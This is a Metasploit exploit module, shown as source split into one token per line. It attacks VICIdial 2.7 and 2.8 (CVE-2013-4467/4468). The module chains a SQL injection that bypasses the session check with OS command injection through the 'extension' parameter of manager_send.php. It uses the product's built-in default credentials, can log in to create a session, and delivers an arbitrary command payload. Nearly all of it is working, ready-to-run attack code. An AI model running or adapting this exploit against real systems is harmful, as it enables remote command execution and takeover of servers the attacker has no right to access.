##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'VICIdial Manager Send OS Command Injection'
,
'Description'
=> %q{
The file agc/manager_send.php
in
the VICIdial web application uses
unsanitized user input as part of a command that is executed using the
PHP
passthru() function.
A
valid username, password
and
session are needed to access
the injection point. Fortunately, VICIdial has two built-
in
accounts with default
passwords
and
the manager_send.php file has a
SQL
injection vulnerability that can
be used to bypass the session check as long as at least one session has been
created at some point
in
time. In
case
there isn't any valid session, the user can
provide astGUIcient credentials
in
order to create one. The results of the injected
command are returned as part of the response from the web server. Affected versions
include
2
.
7RC1
,
2
.
7
,
and
2
.
8
-403a. Other versions are likely affected as well. The
default credentials used by Vicidial are
VDCL
/donotedit
and
VDAD
/donotedit.
},
'Author'
=>
[
'Adam Caudill <adam@adamcaudill.com>'
,
# Vulnerability discovery
'AverageSecurityGuy <stephen@averagesecurityguy.info>'
,
# Metasploit Module
'sinn3r'
,
# Metasploit module
'juan vazquez'
# Metasploit module
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'CVE'
,
'2013-4467'
],
[
'CVE'
,
'2013-4468'
],
[
'OSVDB'
,
'98903'
],
[
'OSVDB'
,
'98902'
],
[
'BID'
,
'63340'
],
[
'BID'
,
'63288'
],
],
'DisclosureDate'
=>
'Oct 23 2013'
,
'Privileged'
=>
true
,
'Platform'
=> [
'unix'
],
'Payload'
=>
{
'DisableNops'
=>
true
,
'Space'
=>
8000
,
# Apache's limit for GET, it should be enough one to fit any payload
'Compat'
=>
{
'PayloadType'
=>
'cmd'
,
# Based on vicibox availability of binaries
'RequiredCmd'
=>
'generic perl python awk bash telnet nc openssl'
,
}
},
'Targets'
=>
[
[
'CMD'
,
{
'Arch'
=>
ARCH_CMD
,
'Platform'
=>
'unix'
}
]
],
'DefaultTarget'
=>
0
))
register_options(
[
OptString.
new
(
'USERNAME'
, [
true
,
'VICIdial Username'
,
'VDCL'
]),
OptString.
new
(
'PASSWORD'
, [
true
,
'VICIdial Password'
,
'donotedit'
]),
OptString.
new
(
'USER_ASTGUI'
, [
false
,
'astGUIcient User Login'
,
'6666'
]),
OptString.
new
(
'PASS_ASTGUI'
, [
false
,
'astGUIcient User Password'
,
'1234'
]),
OptString.
new
(
'PHONE_USER_ASTGUI'
, [
false
,
'astGUIcient Phone Login'
,
'6666'
]),
OptString.
new
(
'PHONE_PASSWORD_ASTGUI'
, [
false
,
'astGUIcient Phone Password'
,
'1234'
])
],
self
.
class
)
end
# Login through astGUIclient and create a web_client_sessions if there isn't
# something available
def
login
begin
res = send_request_cgi({
'uri'
=>
'/agc/astguiclient.php'
,
'method'
=>
'POST'
,
'vars_post'
=> {
"user"
=> datastore[
"USER_ASTGUI"
],
"pass"
=> datastore[
"PASS_ASTGUI"
],
"phone_login"
=> datastore[
"PHONE_USER_ASTGUI"
],
"phone_pass"
=> datastore[
"PHONE_PASSWORD_ASTGUI"
]
}
})
rescue
::Rex::ConnectionError
vprint_error(
"#{rhost}:#{rport} - Failed to connect to the web server"
)
return
nil
end
return
res
end
def
astguiclient_creds?
if
datastore[
"USER_ASTGUI"
].
nil
?
or
datastore[
"USER_ASTGUI"
].empty?
return
false
end
if
datastore[
"PASS_ASTGUI"
].
nil
?
or
datastore[
"PASS_ASTGUI"
].empty?
return
false
end
if
datastore[
"PHONE_USER_ASTGUI"
].
nil
?
or
datastore[
"PHONE_USER_ASTGUI"
].empty?
return
false
end
if
datastore[
"PHONE_PASSWORD_ASTGUI"
].
nil
?
or
datastore[
"PHONE_PASSWORD_ASTGUI"
].empty?
return
false
end
return
true
end
def
request(cmd, timeout =
20
)
begin
res = send_request_cgi({
'uri'
=>
'/agc/manager_send.php'
,
'method'
=>
'GET'
,
'vars_get'
=> {
"enable_sipsak_messages"
=>
"1"
,
"allow_sipsak_messages"
=>
"1"
,
"protocol"
=>
"sip"
,
"ACTION"
=>
"OriginateVDRelogin"
,
"session_name"
=> rand_text_alpha(
12
),
# Random session name
"server_ip"
=>
"' OR '1' = '1"
,
# SQL Injection to validate the session
"extension"
=>
";#{cmd};"
,
"user"
=> datastore[
'USERNAME'
],
"pass"
=> datastore[
'PASSWORD'
]
}
}, timeout)
rescue
::Rex::ConnectionError
vprint_error(
"#{rhost}:#{rport} - Failed to connect to the web server"
)
return
nil
end
return
res
end
def
check
res = request(
'ls -a .'
)
if
res
and
res.code ==
200
if
res.body =~ /Invalid Username\/Password/
vprint_error(
"#{peer} - Invalid Username or Password."
)
return
Exploit::CheckCode::Detected
elsif
res.body =~ /Invalid session_name/
vprint_error(
"#{peer} - Web client session not found"
)
return
Exploit::CheckCode::Detected
elsif
res.body =~ /\.\n\.\.\n/m
return
Exploit::CheckCode::Vulnerable
end
end
return
Exploit::CheckCode::Unknown
end
def
exploit
print_status(
"#{peer} - Checking if injection is possible..."
)
res = request(
'ls -a .'
)
unless
res
and
res.code ==
200
fail_with(Failure::Unknown -
"#{peer} - Unknown response, check the target"
)
end
if
res.body =~ /Invalid Username\/Password/
fail_with(Failure::NoAccess -
"#{peer} - Invalid VICIdial credentials, check USERNAME and PASSWORD"
)
end
if
res.body =~ /Invalid session_name/
fail_with(Failure::NoAccess,
"#{peer} - Valid web client session not found, provide astGUI or wait until someone logins"
)
unless
astguiclient_creds?
print_error(
"#{peer} - Valid web client session not found, trying to create one..."
)
res = login
unless
res
and
res.code ==
200
and
res.body =~ /you are logged/
fail_with(Failure::NoAccess,
"#{peer} - Invalid astGUIcient credentials, check astGUI credentials or wait until someone login."
)
end
res = request(
'ls -a .'
)
end
unless
res
and
res.code ==
200
and
res.body =~ /\.\n\.\.\n/m
fail_with(Failure::NotVulnerable,
"#{peer} - Injection hasn't been possible"
)
end
print_good(
"#{peer} - Exploitation looks feasible, proceeding... "
)
request(
"#{payload.encoded}"
,
1
)
end
end